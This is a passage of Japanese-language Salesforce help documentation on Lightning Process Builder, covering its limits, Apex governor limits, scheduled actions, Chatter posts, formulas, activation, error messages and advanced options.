プロセスの有効化に関する考慮事項
プロセスを有効化する場合は、まずプロセスでレコード評価が開始される時期を理解しておく必要があり
ます。
プロセスビルダーのエラーメッセージ
エラーまたは警告メッセージで、「プロセス」ではなく「フロー」と示される場合があります。これらの
メッセージも、プロセスに適用されます。

5618

Lightning プロセスビルダーコードではなくてクリックによる Salesforce の拡張



プロセスビルダーの制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスビルダーを使用するときは、共通の制限および Apex ガバナ制限に留意
してください。

他の機能と共通する制限
プロセスには、ルールおよび Visual Workflow と共通するいくつかの制限がありま
す。
次の制限に加え、プロセスの [API 参照名] は、組織内のすべてのプロセスお
よびフローで一意である必要があります。

組織単位の制限説明

50オブジェクトごとに有効なルールおよび有効なプロセスの合
計数。
ルールには、ワークフロールール、エスカーレーションルー
ル、割り当てルール、自動割り当てルールが含まれます。呼
び出し可能なプロセスはこの制限にカウントされません。

1,000フローおよびプロセスの合計数
500有効なフローおよびプロセスの数
2,000評価される条件ノードおよびランタイムで実行されるアク

ションの合計数
10001 時間あたりに再開されるフローインタビューまたは実行さ

れるスケジュール済みアクショングループの合計数
30,000処理を待機しているフローインタビューまたはスケジュール

済みアクショングループの合計数
20,000プロセスの項目値に基づいてフローバージョンまたはスケ

ジュールで定義される相対時間のアラームの合計数

メールアラートから送信されるメールの 1 日の制限は、1 組織につき標準 Salesforce ライセンスあたり 1,000 件で
す。これは、標準 Salesforce ライセンスあたりの 1 日のワークフローメールの制限が 15 件である、Developer Edition

組織を除きます。組織全体での制限は 2,000,000 件です。この制限は、ワークフローメールアラートを使用する
すべての機能 (ワークフロールール、承認プロセス、フロー、プロセス) に共通します。

Apex ガバナとプロセスの制限
Salesforceでは、マルチテナント環境で回避プロセスが共有リソースを独占しないように、厳格に制限が適用さ
れます。プロセスは、Apexで適用されるトランザクション単位の制限によって制御されます。プロセスによっ
てトランザクションがガバナ制限を超えた場合、システムはトランザクション全体をロールバックします。ト
ランザクションに含まれる操作についての詳細は、『Force.com Apex開発者ガイド』の「トリガと実行の順序」
を参照してください。
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トランザクション単位
の制限

説明

100発行される SOQL クエリの合計数
50,000SOQL クエリによって取得されるレコードの合計数
150発行される DML ステートメントの合計数
10,000DML ステートメントの結果として処理されるレコードの合計数

各 [レコードを作成] アクションでは、1 つの DML ステートメントが使用されます。各 [クイックアクション] ア
クションでは、1 つの DML ステートメントが使用されます。各 [レコードを更新] アクションでは、1 つの SOQL

クエリと 1 つの DML ステートメントが使用されます。各 [フロー] アクションでは、フローで実行される要素に
応じて、複数の SOQL クエリと DML ステートメントを使用できます。詳細は、「Visual Workflow の制限」 (ページ
5678)を参照してください。

その他のプロセスの制限
プロセスを作成および管理するときは、次の制限に留意してください。

制限説明

255プロセス名の合計文字数
77プロセスの API 名の合計文字数
50プロセスのバージョンの合計数
200プロセスの条件ノードの合計数

プロセスの設計に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスを設計する場合は、その制限やガイドラインを理解しておく必要があ
ります。

メモ: プロセスビルダーは、Microsoft® Internet Explorer®バージョン 11 でサポー
トされています。以前のバージョンではサポートされていません。

• プロセスが無限ループを作成するように設定されていないことを確認しま
す。たとえば、Process1 の [レコードを更新] アクションが Process2 をトリガ
し、Process2 の [レコードを作成] アクションが Process1 をトリガすると、ルー
プにより組織で 1 時間の上限を超える可能性があります。

• ワークフロールールやApexトリガなど、他の設定エンティティに置き換わる
プロセスを作成する場合、同等のプロセスを有効化する前にそれらのエン
ティティを削除する必要があります。削除しないと、ワークフローとプロセ
スの両方が起動し、レコードの上書きやメールメッセージの重複など、予期
しない結果が生じることがあります。
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警告: 指定のオブジェクトには、ワークフロールールとプロセスの組み合わせではなくいずれかを使
用します。両方を使用する場合、実行される順序は予測できません。

• Apexトリガに置き換わるプロセスを作成する場合、そのプロセスを有効化する前にApexトリガを削除する
必要があります。削除しないと、ワークフローとプロセスの両方が起動し、レコードの上書きやメールメッ
セージの重複など、予期しない結果が生じることがあります。

• レコードの更新に対するルール適用時のアクションは入力規則に従います。
• レコードの更新に対するスケジュール済みアクションは入力規則をスキップします。
• 各プロセスは 1 つのオブジェクトに関連付けられます。
• アクションは、プロセスビルダーに表示される順序で実行されます。
• いずれかのアクションに失敗すると、トランザクション全体が失敗し、エラーメッセージが表示されます。

たとえば、投稿しようとする Chatter グループが非公開の場合、[Chatter に投稿] アクションは失敗します。
詳細は、「プロセスのトラブルシューティング」 (ページ 5667)を参照してください。

• 同じ項目に異なる値が適用される複数の [レコードを更新] アクションが 1 つのアクショングループに含ま
れている場合、最後のアクションの値が使用されます。

• 所有者を更新するプロセスは関連項目に転送されません。確実に転送するには、転送する子レコードタイ
プごとに 1 つの [レコードを更新] アクションを使用します。たとえば、取引先を新しい所有者に転送する
プロセスを使用している場合は、すべての子取引先責任者、すべての子商談、すべての子契約などをそれ
ぞれ更新するアクションを 1 つずつ使用します。

• カスタム項目の種別または名前を変更する前に、変更によって無効化されるプロセスでその項目が参照さ
れていないことを確認してください。

メモ: 呼び出し可能なプロセスがオブジェクトに関連付けられている場合は、プロセスで項目が参照
されていなくても、オブジェクトのどの項目のデータ型も変更することはできません。

• カスタム項目のラベルを変更した場合、ラベルを参照するプロセスが破損することはありません。ただし、
そのプロセスでは引き続き古いラベルを表示します。

• プロセスで参照されているカスタム項目は削除できません。

メモ: 呼び出し可能なプロセスがオブジェクトに関連付けられている場合は、プロセスで項目が参照
されていなくても、オブジェクトのどの項目も削除できません。

• ファイル種別のカスタム項目は、プロセスビルダーではサポートされていません。たとえば、プロセスで
ファイル種別のカスタム項目を含むナレッジ記事レコードを作成した場合、そのプロセスを実行するとエ
ラーが発生します。

• 取引開始済みのリード数に関するプロセスがあり、取引開始処理の結果のレコードを更新する場合は、リー
ド設定 [取引開始済みのリードに入力規則が必須] を有効化する必要があります。

• 組織でマルチ通貨を使用している場合には、レコードの通貨コードを使用して通貨項目が更新されます。
数式に基づいて項目を更新したい場合、数式内の値はすべて、レコードの通貨コードで解釈されます。

• 外部オブジェクトおよび廃止されたカスタムオブジェクトはプロセスビルダーではサポートされていませ
ん。

• 標準数式項目で関連オブジェクトの項目が参照されている場合、その項目の値はプロセスの開始時に常に
null になります。たとえば、キャンペーンインフルエンスの RevenueShare 項目で
CampaignInfluence.Opportunity.Amount * CampaignInfluence.Influence を計算します。数式
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で商談 (関連オブジェクト) の項目が参照されているため、項目の値は null になります。この制限は、関連
オブジェクトの項目を参照するカスタム数式項目には該当しません。同じ数式を使用するカスタム数式項
目では、項目の値はプロセスの開始時に取得されます。

プロセスの Chatter に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスから Chatter 投稿を作成する場合は、次の制限を考慮します。
• 特定のユーザまたはグループのフィードへの Chatter 投稿をプロセスで作成

し、プロセスを別の組織にリリースすると、ID が別の組織に存在しないため
[Chatter に投稿] アクションが動作しないことがあります。

• [メッセージ]が「{![Account].Name}」などの項目参照で開始していると、
Chatter アクションで保存に失敗します。
この問題を回避するには、メッセージの先頭にスペースを追加します。たと
えば、有効なプロセスで [Chatter に投稿] アクションの [メッセージ] が
「{![Account].Name}」で開始する場合は、次の操作を実行します。
1. 有効なプロセスを開きます。
2. [コピー] をクリックします。
3. 現在のプロセスのバージョンを作成するか、独自のバージョン履歴を持つまったく新しいプロセスを作

成するかを選択します。
4. [Chatter に投稿] アクションを開きます。
5. [メッセージ] で、「{」の前にスペースを入力します。
6. アクションを保存します。
7. プロセスを保存し、有効化します。元のプロセスは必ず無効化してください。

• Microsoft® Internet Explorer® バージョン 11 を使用している場合、テキストをメッセージに貼り付けることはで
きません。他のすべてのサポートされるブラウザでは、コピーおよび貼り付けアクションを実行できます。

• [Chatterに投稿] アクションは、そのアクションがコミュニティ (ページ 3871)ユーザまたはグループに投稿す
る場合はサポートされません。この種別のアクションを含む有効化されたプロセスがレコードを評価する
と、エラーが発生します。

• Chatter メッセージには、最大 25 個のメンションを追加できます。
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プロセスのスケジュール済みアクションに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

スケジュール済みアクションをプロセスに追加する場合は、その制限やガイド
ラインを理解しておく必要があります。
• プロセスにスケジュール済みアクションを追加するには、次の 2 つのオプ

ションがあります。
– [レコードが作成されたときにのみプロセスを開始する] (1)。プロセスのオ

ブジェクトを選択するときは、このオプションを選択します。
– [レコードが作成または編集されたときにプロセスを開始する] (2)。さら

に、プロセスに条件を追加するときに、指定された変更が行われた場合
にのみアクションを実行する (3) ように詳細オプションを選択します。

• レコードの更新に対するスケジュール済みアクションは入力規則をスキップします。
• アクショングループにスケジュール済みアクションを含める場合は、プロセスでこれらのアクションの実

行後に、引き続き次の条件を評価することはできません。アクション実行後の追加条件の評価についての
詳細は、「複数の条件でのアクション実行」を参照してください。

• プロセスを開始したユーザが無効であることなどが原因でスケジュール済みアクションが実行に失敗した
場合、プロセスを作成したシステム管理者に失敗に関する詳細が記載されたメールが送信されます。Salesforce

では、失敗したスケジュール済みアクションをキューから削除する前に何回か再試行します。エラー通知
についての詳細は、「プロセスでレコード評価の開始後に発生したエラー」を参照してください。

• プロセスを無効化すると、スケジュール済みアクションは通常どおり続行します。
• スケジュール済みアクションの未実行のグループがプロセスにある場合は、プロセスを削除できません。

スケジュール済みアクションの未実行のグループの削除についての詳細は、「未実行のスケジュール済み
アクションの削除」 (ページ 5666)を参照してください。

• 組織では、1 時間につき最大1,000個のスケジュール済みアクションのグループを処理できます。スケジュー
ル済みアクションの各グループは、「今から 3 日後」などのスケジュールに関連付けられます。スケジュー
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ルが処理されると、関連付けられたアクションが実行されます。組織でこの制限を超えると、Salesforce で
残りのスケジュールを次の 1 時間に処理します。たとえば、午後 4 時から 5 時の間に待機中のアクションの
1,200 個のグループの処理が組織でスケジュールされている場合、Salesforce で午後 4 時から 5 時の間に 1000

個のグループを処理し、残りの 200 個のグループを午後 5 時から 6 時の間に処理します。
• 組織は一度に最大 30,000 個のスケジュールおよびフローインタビューを待機させることができます。
• レコードが作成または編集されたときに実行するように設定されたプロセスの場合、スケジュール済みア

クションは、そのアクションの条件が有効である場合にのみキューに残ります。レコードが条件に一致し
なくなると、そのレコードのスケジュール済みアクションはキューから削除されます。

• レコードが作成されたときに実行するように設定されたプロセスの場合、そのプロセスでレコードが再評
価されることはありません。スケジュール済みアクションが実行された時点で、レコードが関連する条件
に一致しなくなっても、スケジュール済みアクションはキューに残ります。

• アクションをある日付の 0 [日] [次の日付より前] にスケジュールする場合、プロセスを保存してから再度
開くとプロセスのスケジュールがその日付の 0 [次の日付より後] に変わります。その場合でもプロセスは
指定の時刻に実行されます。

• アクションをある日付の 0 [次の日付より後] にスケジュールした場合、その日付で表される時刻からアク
ショングループが実行されるまでに遅延が発生する可能性があります。

トランザクションとスケジュール済みアクション
ワークフロールールと同様に、プロセス内のルール適用時のアクションは、ユーザがレコードを作成または編
集したときにプロセスがトリガされる操作と同じトランザクションで実行されます。そのトランザクションに
含まれる操作についての詳細は、『Force.com Apex開発者ガイド』の「トリガと実行の順序」を参照してくださ
い。スケジュール済みアクションは、個別のトランザクションに含まれます。
スケジュール済みアクションのグループは、個別に実行されません。1 つのバッチにまとめられ、最初のグ
ループがバッチに入れられてから 1 時間以内に実行が開始します。バッチには、指定の時間が経過した後で再
開されるフローインタビューを含めることもできます。グループ内のアクションで DML 操作または SOQL クエ
リが実行された場合、この動作によって Apex ガバナ制限を超えることがあります。DML 操作は、プロセスで
[レコードを作成] アクションを実行する場合など、Salesforce レコードを作成、更新、削除するたびに使用され
ます。SOQL クエリは、プロセスで [レコードを更新] アクションを実行する場合など、既存のレコードに関す
る情報を Salesforce が参照するたびに使用されます。Apex ガバナ制限についての詳細は、「プロセスビルダー
の制限」 (ページ 5619)を参照してください。
プロセスにスケジュール済みアクションが含まれている場合は、Apex ガバナ制限で許可されている数以上の
DML 操作または SOQL クエリがアクションで実行されないことを確認します。
スケジュール済みアクションのグループの実行に失敗すると、次のようになります。
• そのバッチに含まれるスケジュール済みアクションの前のグループが正常に実行される。
• そのプロセスのルール適用時のアクションが正常に実行される。
• そのグループのすべてのスケジュール済みアクションの実行に失敗する。
• そのバッチに含まれるスケジュール済みアクションの残りのグループが試行される。
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例: Salesforceでは、同じトランザクションでスケジュール済みアクションの 25 個のグループのバッチを処
理します。このバッチ全体で、最大 100 個の DML 操作を使用できます。最初の 22 個のグループではそれ
ぞれ 5 個の DML 操作が使用され、残りの 3 個のグループでは DML 操作は使用されません。
21 番目のグループでは、このトランザクションの 101 ～ 105 番目の DML 操作を実行しようとするため、
Apex ガバナ制限に違反します。実行に失敗するのは、スケジュール済みアクションのこのグループのみ
です。つまり、スケジュール済みアクションの最初の 20 個のグループは正常に実行され、21 番目のグルー
プは実行に失敗します。グループ内のどのアクションが制限に違反したかに関係なく、21 番目のグルー
プのどのアクションも正常に実行されません。Salesforce では、バッチに含まれるスケジュール済みアク
ションの残りのグループを実行しようとします。22 番目のグループでは 5 個の DML 操作を使用しますが、
許可されたすべての DML 操作がトランザクションですでに使用されているため、22 番目のグループも失
敗します。最後の 3 個のグループでは DML 操作を使用しないため、これらのグループは正常に実行され
ます。

スケジュールの制限
• アクションが過去の時間にスケジュールされている場合、Salesforce ではスケジュール済みアクションのそ

のグループを 1 時間以内に実行します。
たとえば、完了予定日の 7 日前に商談所有者にメールを送信するプロセスが設定され、完了予定日が今日
に設定された商談についてプロセスが実行される場合、Salesforce では 1 時間以内にスケジュール済みアク
ションを実行します。

現在の時間に基づいてアクションがスケジュールされている場合 (今から 3 日後など)

• スケジュールは、プロセスを作成したユーザのタイムゾーンに基づいて評価されます。
項目値に基づいてアクションがスケジュールされている場合 (ケースの 3 日後の [作成日] など)

• スケジュールは、組織のタイムゾーンに基づいて評価されます。
• 無効化されたプロセスに待機中のスケジュール済みアクションがあり、スケジュールの基となる項目を含

むレコードが変更されると、Salesforce はそのアクションのスケジュールを再評価します。プロセスが無効
化されると、関連するレコードに加えられた他のすべての変更は無視されます。

• 組織では、プロセスおよびフローバージョン全体で、項目と相対時間のアラームに基づいて最大 20,000 個
のスケジュールを定義できます。

• 次の項目は、参照項目として使用できません。
– TODAY や NOW など、自動的にに派生する関数を含む DATE 項目または DATETIME 項目。
– 関連オブジェクトの差し込み項目が含まれる数式項目。

• 参照項目値を変更し、まだスケジュールが処理されていない場合、Salesforce はその項目に関連付けられた
スケジュールを再評価します。
たとえば、完了予定日の 7 日前に商談所有者にメールを送信するプロセスが設定され、完了予定日が 2014

年 2 月 20 日に設定されている場合、Salesforce は 2014 年 2 月 13 日にスケジュールを処理し、メールを送信し
ます。その後完了予定日が 2014 年 2 月 10 日に更新され、まだスケジュールが処理されていない場合、
Salesforceは 2014 年 2 月 3 日にスケジュールを再評価し、メールを送信します。Salesforceが過去の日付に対し
てスケジュールを再評価した場合、レコードの保存後すぐに関連付けられたアクションを実行します。

• null 項目値を参照するスケジュールは無視されます。
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• スケジュールが関連付けられているレコードまたはオブジェクトを削除すると、スケジュールがまったく
処理されなくなります。

• 次の制限は、取引開始済みのリードに適用されます。
– 未実行のスケジュールがいずれかのリードの項目に基づいている場合は、リードの取引を開始できませ

ん。
– [リード変換からの検証とトリガ] が有効になっている場合、リードのスケジュール済みアクションは、

リードの取引開始時に実行されません。
– リードに基づくキャンペーンメンバーの取引が、そのレコードに関連付けられているスケジュール済み

アクションが終了する前に開始されても、Salesforce はスケジュール済みアクションを実行します。
• SignupRequest オブジェクトはスケジュール済みアクションでサポートされません。

プロセスビルダーのアクセシビリティに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスビルダーは、1 つの例外を除き、米国リハビリテーション法第 508 条に
準拠しています。
キーボードの Esc キーを使用して、モーダルダイアログを閉じることはできます
が、サイドパネルを閉じることはできません。

ヒント: プロセスの条件ノードの順序を変更できます。
• 条件ノードを選択するには、Space キーを押します。
• 条件ノードの順序を変更するには、上下矢印キーを使用します。
• 変更を保存するには、Space キーを押します。
• キャンセルするには、Esc キーを押します。

プロセスの変更セットおよびパッケージに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスをリリースするときの考慮事項は、次のとおりです。
• Metadata APIでは、プロセスを別の組織にリリースできます。ただし、次の点

に注意してください。
– プロセスが対象組織にすでに存在する場合は、プロセスが無効になって

いないとリリースされません。
– プロセスが対象組織に存在しない場合は、ソース組織での状況に関係な

く、プロセスは無効状況でリリースされます。
• プロセスが管理パッケージの別の組織にリリースされている場合、プロセス

の有効化または無効化のみを実行できます。プロセスの参照や編集はできま
せん。

• メタデータ API または変更セットを介してプロセスをリリースし、プロセス
に次のいずれかのアクションが含まれている場合、アクションが参照するパッケージ化可能なコンポーネ
ントは自動的にパッケージまたは変更セットに含まれません。正常にリリースするには、参照されるこれ
らのコンポーネントをパッケージまたは変更セットに手動で追加します。
– Apex
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– メールアラート
– フローの起動
– Chatter への投稿
– クイックアクション
– 承認申請

プロセス数式の制限

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

条件ノードで条件として使用される数式には、制限がいくつかあります。プロ
セスに無効な数式が含まれていると、プロセスを保存または有効化できません。
条件ノードで使用されるすべての数式は、次の条件を満たしている必要があり
ます。
• true または false を返す。数式から true が返されると、関連付けられた

アクションが実行されます。
• 3,000 を超える文字が含まれていない。
• サポートされない関数が含まれていない。

ヒント: 関数を挿入するときに括弧は自動的に追加されません。数式を作
成する場合、TODAY() のように括弧を追加してください。

サポートされない関数
プロセス内の数式で次のいずれかの関数が使用されていると、数式から null が返されます。
• GETRECORDIDS

• IMAGE

• INCLUDE

• PARENTGROUPVAL

• PREVGROUPVAL

• REQUIRE SCRIPT

• VLOOKUP

Salesforce で数式を作成するための演算子と関数の完全なリストについては、「数式の演算子と関数」 (ページ
5502)を参照してください。

メモ:

• プロセスの条件で数式を使用する場合、「2 < 5」のように評価が常に true になる数式は作成しない
でください。

• ISCHANGED は、数式関数と演算子のどちらとしても使用できます。プロセスの条件で数式関数として
使用した場合、子レコードの関連項目は参照できません。たとえば、ISCHANGED は
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[Case].Contact.AccountId 項目の参照ではサポートされませんが、[Case].ContactId の参照
には使用できす。

関連トピック:

選択リストおよび複数選択リスト数式項目の使用のヒント
プロセスビルダーの詳細なオプションに関する考慮事項
選択リストおよび複数選択リスト数式項目の使用のヒント

プロセスの有効化に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスを有効化する場合は、まずプロセスでレコード評価が開始される時期
を理解しておく必要があります。
• プロセスの有効化後は、そのプロセスを編集できなくなります。
• Salesforce は、次の順番でルールを処理します。

1. 入力規則
2. 割り当てルール
3. 自動レスポンスルール
4. ワークフロールールとプロセス (およびそのルール適用時のアクション)

5. エスカレーションルール
• プロセスは自動的に開始され、ユーザが意識することはありません。
• レコードの保存または作成によって複数のプロセスをトリガできます。
プロセスでレコード評価が開始される時期
• プロセスでは、レコードが保存または作成されるたびにレコードを評価できます。ただし、レコードの保

存後に作成されたプロセスで、それらのレコードが遡って評価されることはありません。
• プロセスでは、別のプロセス、ワークフロールール、またはフローで同じトランザクションのレコードが

更新された場合、1 つのトランザクションでレコードを最大 5 回まで評価できます。詳細は、「プロセスビ
ルダーでのレコードの再評価」 (ページ 5636)を参照してください。

• プロセスは、主従関係の中の標準オブジェクトに親が再設定された場合にトリガされます。
• リードの取引開始のための入力規則とトリガが組織で有効になっている場合、プロセスでは取引開始済み

のリードのみが評価されます。
• プロセスでは、Connect Offline を使用してユーザが同期を実行するときに、レコードに加えた変更が評価さ

れます。
• 一括更新では、プロセスは変更のあるエンティティに対してのみ再トリガされます。
• 次のアクションは、プロセスをトリガしません。

– 選択リスト値の一括置換
– 住所項目の一括更新
– ディビジョンの一括更新
– 取引先と商談に割り当てられたテリトリーの変更
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– セルフサービスポータル、カスタマーポータル、パートナーポータルのユーザの無効化
– 変換ツールを使用した都道府県および国データの変換
– メタデータ API の AddressSettings を使用した州/国選択リストの変更

プロセスビルダーのエラーメッセージ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

エラーまたは警告メッセージで、「プロセス」ではなく「フロー」と示される
場合があります。これらのメッセージも、プロセスに適用されます。
エラーが発生したときの考慮事項は、次のとおりです。
• 個人取引先を作成または編集し、取引先の項目値をプロセスで使用

(Account.Name Equals Acme など) すると、「ワークフローアクションで
フローのトリガに失敗したため、レコードを保存できませんでした。」とい
うエラーが表示されます。このエラーを回避するためにプロセスを無効化す
ることができます。

• 参照項目には、別のオブジェクトの一意のレコードを指し示す ID 値が含まれ
ます。その ID 値が設定されていないと、エラーが発生します。以下に例を示
します。
– 取引先責任者レコードに関連付けられた取引先名を参照するメッセージ

を含む [Chatter に投稿] アクションがプロセスに存在します A new contact for account

{![Contact].Account.Name} was created. 取引先責任者レコードの取引先参照項目の ID 値が設
定されていないと、プロセスの実行時にエラーが発生します。

– プロセス条件で、取引先責任者レコードに関連付けられている取引先の [名前] 項目が「Acme」と一致
するかどうかが確認されます ([Contact].Account.Name Equals Acme)。ユーザが ID 値を設定せず
に (取引先に関連する) 取引先責任者レコードを作成すると、エラーが発生します。この場合、上記の条
件 [Contact].Account.Name Equals Acme に [Contact].AccountId Is null False を追加す
ることで、エラーを回避できます。

• プロセス条件が参照関係項目を評価し、その項目値が空の場合、プロセスが失敗する可能性があります。
たとえば、プロセスが、ケースに関連するカスタムバグレコードの状況を参照するカスタム参照関係項目
を評価するとします。バグの状況項目が空の場合、プロセスは失敗し、プロセス条件に順番にリストされ
ている残りの項目の評価を停止します。プロセス条件で等価数式を使用する場合、プロセスは同じ参照関
係項目を正しく評価します。プロセス条件で数式を使用しない場合、複数の関連レコードをトラバースす
る項目を参照するときには、isNull をチェックすることをお勧めします。

関連トピック:

プロセスのトラブルシューティング
プロセスビルダーのエラーの特定
プロセスでレコード評価の開始後に発生したエラー
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プロセスビルダーでの値の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスビルダー全体を通して、条件ノードの条件の設定、[レコードを作成] ア
クションでの新規ケースの項目の設定、参照する Apex メソッドの指定などを行
うために、値を設定する必要があります。

項目ピッカー
項目ピッカーを使用して、プロセスを開始したレコードの項目、または関連
レコードの項目を参照できます。
プロセスビルダーの値の種別
プロセスを開始したレコードや関連レコードなどの項目に値を設定すると
き、選択できる値の種別は、選択した項目に基づいて絞り込まれます。
プロセスビルダーの複数選択リスト
プロセスビルダーでは、複数選択リスト項目に複数の値を選択できます。

項目ピッカー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

項目ピッカーを使用して、プロセスを開始したレコードの項目、または関連レ
コードの項目を参照できます。
関連レコードの項目を使用するには、値の横に が表示された項目をクリック
します。たとえば、ケースの取引先責任者の取引先の [取引先 ID] 項目値を使用
します。

項目ピッカーには、選択したパラメータと互換性のある項目のみが表示されます。
項目が繰り返し表示される場合、複数のオブジェクトに関連付けられている可能性があります。たとえば、
ケースのキューを作成した場合、ケースの所有者はユーザまたはキューのいずれにもできます。[所有者 ID]

は多態的な項目 (複数のオブジェクトに関連付けられた項目) です。
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ケースの所有者の項目にアクセスするには、該当するリレーションを選択します。ただし、注意してくださ
い。[所有者 ID (ユーザ)] を選択し、レコードの所有者が実際にはキューである場合は、プロセスが失敗しま
す。

プロセスビルダーの値の種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスを開始したレコードや関連レコードなどの項目に値を設定するとき、
選択できる値の種別は、選択した項目に基づいて絞り込まれます。
次の種別の値を使用できます。
• Currency — 通貨値を手動で入力します。
• Boolean — true または false の boolean 値を選択します。
• DateTime または Date — 日付/時間または日付値を手動で入力します。
• Formula — 数式を作成します。
• Global Constant — グローバル定数を選択して値を null または空の文字列に設

定します。たとえば、$GlobalConstant.Null を選択します。
• ID — Salesforce の ID 値 (例:00300000003T2PGAA0) を手動で入力します。

メモ: プロセスがユーザ ID に基づいている場合 ([Event].OwnerId が特定の
ID 値に等しい場合など)、ID 値が 15 文字の ID ではなく 18 文字の ID である
ことを確認してください。www.adminbooster.com/tool/15to18 で 15 文字の
ID を 18 文字に変換できます。

• MultiPicklist — 1 つ以上の複数選択リスト値を選択します。
• Number — 数値を手動で入力します。
• Picklist — 選択リスト値を選択します。
• Reference — レコードまたは関連レコードの項目を選択します。
• String— 文字列値を手動で入力します。

メモ: 次のグローバル定数値は、「is null」演算子ではサポートされません。
• $GlobalConstant.Null

• $GlobalConstant.EmptyString
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プロセスビルダーの複数選択リスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスビルダーでは、複数選択リスト項目に複数の値を選択できます。
たとえば、アイルランド、イギリス、フランスで事業を展開する会社のレコー
ドで [国] 項目に複数値を設定できます。
複数選択リストは、以下で使用できます。
• 数式
• プロセス条件
• [レコードを作成] アクション
• クイックアクション
• [レコードを更新] アクション
プロセス条件で、個々の複数選択リスト値ごとに 1 つの条件を作成して、複数
の値を設定します。たとえば、プロセスで、取引先の事業所所在地が変更され
ているかどうかチェックする場合、複数選択リストの値ごとに同じ項目を選択して、複数の値を参照します。

詳細は、「選択リストおよび複数選択リスト数式項目の使用のヒント」を参照してください。
アクションで複数選択リスト項目を参照する場合、[値を選択...] をクリックして値を入力します。
[選択可能] (1) 列と [選択済み] (2) 列間で値をドラッグして、値を追加または削除します。
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複数選択リストで演算子を使用するときの考慮事項は、次のとおりです。
• 複数選択リスト項目から値を 1 つのみ選択する場合は、等号を使用できます。
• 複数選択リスト値で等号を使用し、[いずれかの条件に一致 (OR)]オプションを選択する場合、条件は 1 つの

値のみに一致します。たとえば、プロセスで [範囲] 項目が [西部] または [東部] のどちらかをチェックする
場合、値が [西部] または値が [東部] の場合、条件は true と評価されますが、[西部] と [東部] の両方が選択さ
れた値の場合、true と評価されません。

• [次の文字列を含む]および [OR]を使用して複数選択リスト値を評価する場合、条件は複数の値に対して true

と評価されます。たとえば、プロセスで [地域]項目に [西部] または [東部] が含まれているかチェックする
場合、[地域] 項目に [西部] および [東部] が含まれているか、[地域] 項目に [西部] または [東部] の値が含ま
れている場合に条件は true と評価されます。
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プロセスビルダーでの詳細オプションの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

プロセスビルダーでは、プロセスでアクションを実行するための詳細なオプショ
ンを選択できます。
次の場合に、サイドパネルの [詳細] 領域を展開して詳細なオプションを選択し
ます。
• 呼び出し不可能なプロセスにオブジェクトを追加する場合
• プロセスに条件を追加する場合

プロセスビルダーの詳細なオプションに関する考慮事項
詳細なオプションを選択するときの考慮事項は、次のとおりです。
プロセスビルダーでのレコードの再評価
オブジェクトをプロセスに追加するとき、1 つのトランザクションでレコー
ドを複数回評価するかどうかを選択できます。
プロセスビルダーのネストプロセス
呼び出し可能なプロセスを使用すると、プロセスのセクションをモジュール化し、ロジックを追加できま
す。呼び出し可能なプロセスは、このプロセスを別のプロセスが呼び出すと開始されるプロセスです。プ
ロセスが呼び出し可能かどうかは、プロセスのプロパティの [プロセスを開始するタイミング] によって制
御されます。
プロセスでの不要なアクションの回避
プロセスに条件を追加するとき、指定された条件が変化した場合にのみアクションを実行するように選択
できます。

プロセスビルダーの詳細なオプションに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

詳細なオプションを選択するときの考慮事項は、次のとおりです。
• プロセスにレコードの再評価を許可する場合は、無限ループにならないよう

にします。たとえば、プロセスで、取引先の説明が変更されたかどうかを
チェックし、取引先の説明を更新して、取引先レコードが作成または編集さ
れるたびにChatter投稿を作成する場合、プロセスはアクションを評価および
トリガして、最終的に 6 回 Chatter 投稿を行います。

• プロセスにオブジェクトを指定するときに 1 つのトランザクションでレコー
ドを複数回評価するように選択した場合は、どの条件も [アクションを実行
する条件がない] に設定しないことをお勧めします。

• プロセスが ISCHANGED、ISNEW、または PRIORVALUE 数式関数を使用する場合、
詳細なオプションは使用しないことをお勧めします。詳細なオプションを使
用する場合は、次の考慮事項に留意してください。
